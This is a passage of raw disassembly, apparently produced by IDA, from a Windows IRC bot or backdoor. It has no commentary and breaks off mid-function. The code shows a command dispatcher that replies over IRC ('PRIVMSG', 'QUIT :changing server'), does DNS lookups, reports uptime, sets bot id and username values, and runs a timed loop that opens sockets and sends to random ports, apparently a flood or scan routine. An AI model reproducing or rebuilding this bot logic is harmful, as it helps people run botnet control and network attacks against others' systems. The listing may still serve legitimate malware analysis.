		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4199BC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40BE62
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4199B0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BE7B


loc_40BE62:				; CODE XREF: sub_40A9CF+147Cj
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_401D6E
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BE7B:				; CODE XREF: sub_40A9CF+1491j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4199A8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BEA9
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40CEB0
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BEA9:				; CODE XREF: sub_40A9CF+14BFj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_41999C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40BED3
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_41998C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BEFD


loc_40BED3:				; CODE XREF: sub_40A9CF+14EDj
		push	offset aQuitChangingSe ; "QUIT :changing server"
		call	sub_40D6CB
		pop	ecx
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_40D366
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BEFD:				; CODE XREF: sub_40A9CF+1502j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_41996C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C0D9
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BF29
		mov	eax, [ebp+arg_14]
		mov	dword ptr [eax+4], offset byte_41DE00


loc_40BF29:				; CODE XREF: sub_40A9CF+154Ej
		lea	eax, [ebp+var_5B78]
		push	eax
		push	0
		push	0
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	dword_41DE54	; getaddrinfo
		test	eax, eax
		jnz	loc_40C0BA
		mov	eax, [ebp+var_5B78]
		mov	[ebp+var_5B7C],	eax


loc_40BF54:				; CODE XREF: sub_40A9CF+16D8j
		cmp	[ebp+var_5B7C],	0
		jz	loc_40C0AC
		push	2
		push	0
		push	0
		push	401h
		lea	eax, [ebp+var_5F80]
		push	eax
		mov	eax, [ebp+var_5B7C]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_5B7C]
		push	dword ptr [eax+18h]
		call	dword_41DE58	; getnameinfo
		test	eax, eax
		jnz	loc_40C098
		mov	eax, [ebp+var_5B7C]
		cmp	dword ptr [eax+4], 2
		jnz	short loc_40BFEA
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40BFBA
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	[ebp+var_63F8],	eax
		jmp	short loc_40BFC4
; ---------------------------------------------------------------------------


loc_40BFBA:				; CODE XREF: sub_40A9CF+15DBj
		mov	[ebp+var_63F8],	offset dword_419968


loc_40BFC4:				; CODE XREF: sub_40A9CF+15E9j
		lea	eax, [ebp+var_5F80]
		push	eax
		push	[ebp+var_63F8]
		push	offset dword_419944
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	loc_40C08D
; ---------------------------------------------------------------------------


loc_40BFEA:				; CODE XREF: sub_40A9CF+15CEj
		mov	eax, [ebp+var_5B7C]
		cmp	dword ptr [eax+4], 17h
		jnz	short loc_40C03E
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40C011
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	[ebp+var_63FC],	eax
		jmp	short loc_40C01B
; ---------------------------------------------------------------------------


loc_40C011:				; CODE XREF: sub_40A9CF+1632j
		mov	[ebp+var_63FC],	offset dword_419968


loc_40C01B:				; CODE XREF: sub_40A9CF+1640j
		lea	eax, [ebp+var_5F80]
		push	eax
		push	[ebp+var_63FC]
		push	offset dword_419920
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	short loc_40C08D
; ---------------------------------------------------------------------------


loc_40C03E:				; CODE XREF: sub_40A9CF+1625j
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40C059
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	[ebp+var_6400],	eax
		jmp	short loc_40C063
; ---------------------------------------------------------------------------


loc_40C059:				; CODE XREF: sub_40A9CF+167Aj
		mov	[ebp+var_6400],	offset dword_419968


loc_40C063:				; CODE XREF: sub_40A9CF+1688j
		lea	eax, [ebp+var_5F80]
		push	eax
		mov	eax, [ebp+var_5B7C]
		push	dword ptr [eax+4]
		push	[ebp+var_6400]
		push	offset dword_4198EC
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 14h


loc_40C08D:				; CODE XREF: sub_40A9CF+1616j
					; sub_40A9CF+166Dj
		push	3E8h
		call	dword_41709C	; Sleep


loc_40C098:				; CODE XREF: sub_40A9CF+15BEj
		mov	eax, [ebp+var_5B7C]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_5B7C],	eax
		jmp	loc_40BF54
; ---------------------------------------------------------------------------


loc_40C0AC:				; CODE XREF: sub_40A9CF+158Cj
		push	[ebp+var_5B78]
		call	dword_41DE5C	; freeaddrinfo
		jmp	short loc_40C0D4
; ---------------------------------------------------------------------------


loc_40C0BA:				; CODE XREF: sub_40A9CF+1573j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_4198D0
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40C0D4:				; CODE XREF: sub_40A9CF+16E9j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C0D9:				; CODE XREF: sub_40A9CF+1541j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4198C4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C1D4
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40C105
		mov	eax, [ebp+arg_14]
		mov	dword ptr [eax+4], offset byte_41DE00


loc_40C105:				; CODE XREF: sub_40A9CF+172Aj
		lea	eax, [ebp+var_5F84]
		push	eax
		push	0
		push	0
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	dword_41DE54	; getaddrinfo
		test	eax, eax
		jnz	loc_40C1B5
		push	4
		push	0
		push	0
		push	401h
		lea	eax, [ebp+var_6388]
		push	eax
		mov	eax, [ebp+var_5F84]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_5F84]
		push	dword ptr [eax+18h]
		call	dword_41DE58	; getnameinfo
		test	eax, eax
		jnz	short loc_40C1A9
		push	[ebp+var_5F84]
		call	dword_41DE5C	; freeaddrinfo
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40C179
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	[ebp+var_6404],	eax
		jmp	short loc_40C183
; ---------------------------------------------------------------------------


loc_40C179:				; CODE XREF: sub_40A9CF+179Aj
		mov	[ebp+var_6404],	offset dword_419968


loc_40C183:				; CODE XREF: sub_40A9CF+17A8j
		lea	eax, [ebp+var_6388]
		push	eax
		push	[ebp+var_6404]
		push	offset dword_4198A8
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C1A9:				; CODE XREF: sub_40A9CF+1781j
		push	[ebp+var_5F84]
		call	dword_41DE5C	; freeaddrinfo


loc_40C1B5:				; CODE XREF: sub_40A9CF+174Fj
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_4198D0
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C1D4:				; CODE XREF: sub_40A9CF+171Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419898
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C37A
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40C207
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 0Ah
		ja	short loc_40C20C


loc_40C207:				; CODE XREF: sub_40A9CF+1825j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C20C:				; CODE XREF: sub_40A9CF+1836j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_638C],	eax
		push	4
		push	offset a2002	; "2002"
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416DEA	; memcmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_40C35B
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-9]
		mov	[ebp+var_6398],	al
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-8]
		mov	[ebp+var_6397],	al
		and	[ebp+var_6396],	0
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-7]
		mov	[ebp+var_6395],	al
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-6]
		mov	[ebp+var_6394],	al
		and	[ebp+var_6393],	0
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-4]
		mov	[ebp+var_6392],	al
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-3]
		mov	[ebp+var_6391],	al
		and	[ebp+var_6390],	0
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-2]
		mov	[ebp+var_638F],	al
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-1]
		mov	[ebp+var_638E],	al
		and	[ebp+var_638D],	0
		lea	eax, [ebp+var_638F]
		push	eax
		call	sub_40A8AD
		pop	ecx
		push	eax
		lea	eax, [ebp+var_6392]
		push	eax
		call	sub_40A8AD
		pop	ecx
		push	eax
		lea	eax, [ebp+var_6395]
		push	eax
		call	sub_40A8AD
		pop	ecx
		push	eax
		lea	eax, [ebp+var_6398]
		push	eax
		call	sub_40A8AD
		pop	ecx
		push	eax
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_419860
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		jmp	short loc_40C375
; ---------------------------------------------------------------------------


loc_40C35B:				; CODE XREF: sub_40A9CF+1866j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_419844
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40C375:				; CODE XREF: sub_40A9CF+198Aj
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C37A:				; CODE XREF: sub_40A9CF+1818j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419838
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C4B0
		call	sub_416B64	; clock
		mov	[ebp+var_639C],	eax
		and	[ebp+var_63A4],	0
		and	[ebp+var_63A0],	0
		push	10h
		push	0
		lea	eax, [ebp+var_63B4]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_63B4],	2


loc_40C3C8:				; CODE XREF: sub_40A9CF+1A95j
		call	sub_416B64	; clock
		sub	eax, [ebp+var_639C]
		cmp	eax, 3E8h
		jnb	loc_40C469
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	dword_417238	; htons
		mov	[ebp+var_63B2],	ax
		push	4
		push	0
		call	sub_4040E8
		pop	ecx
		pop	ecx
		mov	[ebp+var_63B0],	eax
		push	0
		push	2
		push	2
		call	dword_417218	; socket
		mov	[ebp+var_63B8],	eax
		push	10h
		lea	eax, [ebp+var_63B4]
		push	eax
		push	[ebp+var_63B8]
		call	dword_4171F4	; connect
		push	0
		push	1
		lea	eax, [ebp+var_63A0]
		push	eax
		push	[ebp+var_63B8]
		call	dword_41720C	; send
		push	[ebp+var_63B8]
		call	dword_417230	; closesocket
		mov	eax, [ebp+var_63A4]
		add	eax, 2Bh
		mov	[ebp+var_63A4],	eax
		jmp	loc_40C3C8
; ---------------------------------------------------------------------------


loc_40C469:				; CODE XREF: sub_40A9CF+1A09j
		cmp	[ebp+var_63A4],	400h
		jbe	short loc_40C483
		mov	eax, [ebp+var_63A4]
		mov	[ebp+var_6408],	eax
		jmp	short loc_40C48D
; ---------------------------------------------------------------------------


loc_40C483:				; CODE XREF: sub_40A9CF+1AA4j
		mov	[ebp+var_6408],	400h


loc_40C48D:				; CODE XREF: sub_40A9CF+1AB2j
		mov	eax, [ebp+var_6408]
		shr	eax, 0Ah
		push	eax
		push	offset dword_419820
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C4B0:				; CODE XREF: sub_40A9CF+19BEj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419818
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40C4DA
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_41980C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C4FF


loc_40C4DA:				; CODE XREF: sub_40A9CF+1AF4j
		push	offset dword_41DC00
		push	3B7h
		push	0
		push	offset dword_4197E8
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C4FF:				; CODE XREF: sub_40A9CF+1B09j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197DC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C53A
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4142BF
		add	esp, 10h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C53A:				; CODE XREF: sub_40A9CF+1B43j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197D4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40C564
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197C8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C576


loc_40C564:				; CODE XREF: sub_40A9CF+1B7Ej
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4087C4
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C576:				; CODE XREF: sub_40A9CF+1B93j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197C0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40C5A0
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197B4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C5B2


loc_40C5A0:				; CODE XREF: sub_40A9CF+1BBAj
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_408E4A
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C5B2:				; CODE XREF: sub_40A9CF+1BCFj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197A4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C614
		push	1
		push	offset a9252	; "9252"
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_63BC],	eax
		push	[ebp+var_63BC]
		push	offset a08x	; "%08X"
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		cmp	[ebp+var_63BC],	0
		jnz	short loc_40C603
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C603:				; CODE XREF: sub_40A9CF+1C2Dj
		push	[ebp+var_63BC]
		call	sub_404CBB
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C614:				; CODE XREF: sub_40A9CF+1BF6j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419790
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C63B
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4091E2
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C63B:				; CODE XREF: sub_40A9CF+1C58j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419788
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40C669
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_41977C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C896


loc_40C669:				; CODE XREF: sub_40A9CF+1C7Fj
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40C686
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_640C],	eax
		jmp	short loc_40C68D
; ---------------------------------------------------------------------------


loc_40C686:				; CODE XREF: sub_40A9CF+1CA1j
		and	[ebp+var_640C],	0


loc_40C68D:				; CODE XREF: sub_40A9CF+1CB5j
		mov	eax, [ebp+var_640C]
		mov	[ebp+var_63C8],	eax
		call	sub_4092A4
		mov	[ebp+var_63E0],	eax
		mov	eax, [ebp+var_63E0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_63D8],	eax
		mov	eax, [ebp+var_63E0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	[ebp+var_63C4],	eax
		mov	eax, [ebp+var_63E0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		push	3Ch
		pop	ecx
		div	ecx
		mov	[ebp+var_63D4],	eax
		mov	eax, [ebp+var_63D8]
		cmp	eax, [ebp+var_63C8]
		jnb	short loc_40C715
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C715:				; CODE XREF: sub_40A9CF+1D3Fj
		call	sub_409318
		mov	[ebp+var_63C0],	eax
		mov	eax, [ebp+var_63C0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_63CC],	eax
		mov	eax, [ebp+var_63C0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	[ebp+var_63DC],	eax
		mov	eax, [ebp+var_63C0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		push	3Ch
		pop	ecx
		div	ecx
		mov	[ebp+var_63D0],	eax
		cmp	[ebp+var_63D0],	1
		jnz	short loc_40C793
		mov	[ebp+var_6410],	offset byte_41DE00
		jmp	short loc_40C79D
; ---------------------------------------------------------------------------


loc_40C793:				; CODE XREF: sub_40A9CF+1DB6j
		mov	[ebp+var_6410],	offset dword_4191F4


loc_40C79D:				; CODE XREF: sub_40A9CF+1DC2j
		cmp	[ebp+var_63DC],	1
		jnz	short loc_40C7B2
		mov	[ebp+var_6414],	offset byte_41DE00
		jmp	short loc_40C7BC
; ---------------------------------------------------------------------------


loc_40C7B2:				; CODE XREF: sub_40A9CF+1DD5j
		mov	[ebp+var_6414],	offset dword_4191F4


loc_40C7BC:				; CODE XREF: sub_40A9CF+1DE1j
		cmp	[ebp+var_63CC],	1
		jnz	short loc_40C7D1
		mov	[ebp+var_6418],	offset byte_41DE00
		jmp	short loc_40C7DB
; ---------------------------------------------------------------------------


loc_40C7D1:				; CODE XREF: sub_40A9CF+1DF4j
		mov	[ebp+var_6418],	offset dword_4191F4


loc_40C7DB:				; CODE XREF: sub_40A9CF+1E00j
		cmp	[ebp+var_63D4],	1
		jnz	short loc_40C7F0
		mov	[ebp+var_641C],	offset byte_41DE00
		jmp	short loc_40C7FA
; ---------------------------------------------------------------------------


loc_40C7F0:				; CODE XREF: sub_40A9CF+1E13j
		mov	[ebp+var_641C],	offset dword_4191F4


loc_40C7FA:				; CODE XREF: sub_40A9CF+1E1Fj
		cmp	[ebp+var_63C4],	1
		jnz	short loc_40C80F
		mov	[ebp+var_6420],	offset byte_41DE00
		jmp	short loc_40C819
; ---------------------------------------------------------------------------


loc_40C80F:				; CODE XREF: sub_40A9CF+1E32j
		mov	[ebp+var_6420],	offset dword_4191F4


loc_40C819:				; CODE XREF: sub_40A9CF+1E3Ej
		cmp	[ebp+var_63D8],	1
		jnz	short loc_40C82E
		mov	[ebp+var_6424],	offset byte_41DE00
		jmp	short loc_40C838
; ---------------------------------------------------------------------------


loc_40C82E:				; CODE XREF: sub_40A9CF+1E51j
		mov	[ebp+var_6424],	offset dword_4191F4


loc_40C838:				; CODE XREF: sub_40A9CF+1E5Dj
		push	[ebp+var_6410]
		push	[ebp+var_63D0]
		push	[ebp+var_6414]
		push	[ebp+var_63DC]
		push	[ebp+var_6418]
		push	[ebp+var_63CC]
		push	[ebp+var_641C]
		push	[ebp+var_63D4]
		push	[ebp+var_6420]
		push	[ebp+var_63C4]
		push	[ebp+var_6424]
		push	[ebp+var_63D8]
		push	offset dword_419708
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 38h
		jmp	short loc_40C912
; ---------------------------------------------------------------------------


loc_40C896:				; CODE XREF: sub_40A9CF+1C94j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419700
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C912
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40C8BD
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_40C8BF


loc_40C8BD:				; CODE XREF: sub_40A9CF+1EE3j
		jmp	short loc_40C912
; ---------------------------------------------------------------------------


loc_40C8BF:				; CODE XREF: sub_40A9CF+1EECj
		push	2
		push	offset aId	; "id"
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40C8EA
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		push	offset byte_41EE98
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40C8EA:				; CODE XREF: sub_40A9CF+1F07j
		push	offset aUsername ; "username"
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40C912
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		push	offset byte_41F018
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40C912:				; CODE XREF: sub_40A9CF+85j
					; sub_40A9CF+D8j ...
		pop	edi
		pop	esi
		leave
		retn
sub_40A9CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C916	proc near		; CODE XREF: sub_40CA29+47Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp


loc_40C919:				; CODE XREF: sub_40C916+1Fj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_40C937
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40C937
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		jmp	short loc_40C919
; ---------------------------------------------------------------------------


loc_40C937:				; CODE XREF: sub_40C916+Cj
					; sub_40C916+16j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40C916	endp

; ---------------------------------------------------------------------------


loc_40C93C:				; DATA XREF: sub_40CEB0+66o
		push	ebp
		mov	ebp, esp
		sub	esp, 534h
		push	327h
		push	dword ptr [ebp+8]
		lea	eax, [ebp-534h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	dword ptr [ebp+8]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp-208h]
		push	eax
		push	offset asc_419F48 ; ";"
		lea	eax, [ebp-530h]
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp-204h], eax
		and	dword ptr [ebp-20Ch], 0


loc_40C98D:				; CODE XREF: cAddress:0040CA12j
		cmp	dword ptr [ebp-204h], 0
		jnz	short loc_40C998
		jmp	short loc_40CA17
; ---------------------------------------------------------------------------


loc_40C998:				; CODE XREF: cAddress:0040C994j
					; cAddress:0040C9B5j
		mov	eax, [ebp-204h]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jz	short loc_40C9A8
		jmp	short loc_40C9B7
; ---------------------------------------------------------------------------


loc_40C9A8:				; CODE XREF: cAddress:0040C9A4j
		mov	eax, [ebp-204h]
		inc	eax
		mov	[ebp-204h], eax
		jmp	short loc_40C998
; ---------------------------------------------------------------------------


loc_40C9B7:				; CODE XREF: cAddress:0040C9A6j
		push	dword ptr [ebp-204h]
		lea	eax, [ebp-38Fh]
		push	eax
		push	offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s"
		push	200h
		lea	eax, [ebp-200h]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 14h
		lea	eax, [ebp-200h]
		push	eax
		call	sub_40E618
		pop	ecx
		lea	eax, [ebp-208h]
		push	eax
		push	offset asc_419F48 ; ";"
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp-20Ch], eax
		mov	eax, [ebp-20Ch]
		mov	[ebp-204h], eax
		jmp	loc_40C98D
; ---------------------------------------------------------------------------


loc_40CA17:				; CODE XREF: cAddress:0040C996j
		push	dword ptr [ebp-534h]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA29	proc near		; CODE XREF: sub_40CEB0+8p

var_1EC		= dword	ptr -1ECh
var_1E8		= byte ptr -1E8h
var_1C8		= byte ptr -1C8h
var_1A8		= dword	ptr -1A8h
var_1A4		= dword	ptr -1A4h
var_1A0		= byte ptr -1A0h
var_190		= byte ptr -190h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1ECh
		cmp	[ebp+arg_0], 0
		jz	short loc_40CA43
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 28h
		jz	short loc_40CA4A


loc_40CA43:				; CODE XREF: sub_40CA29+Dj
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CA4A:				; CODE XREF: sub_40CA29+18j
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		push	offset asc_419FB0 ; ")"
		push	[ebp+arg_0]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_40CA70
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CA70:				; CODE XREF: sub_40CA29+3Ej
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+arg_0]
		inc	eax
		cmp	eax, 180h
		jbe	short loc_40CA8A
		mov	[ebp+var_1EC], 180h
		jmp	short loc_40CA97
; ---------------------------------------------------------------------------


loc_40CA8A:				; CODE XREF: sub_40CA29+53j
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+var_1EC], eax


loc_40CA97:				; CODE XREF: sub_40CA29+5Fj
		push	[ebp+var_1EC]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_407A56
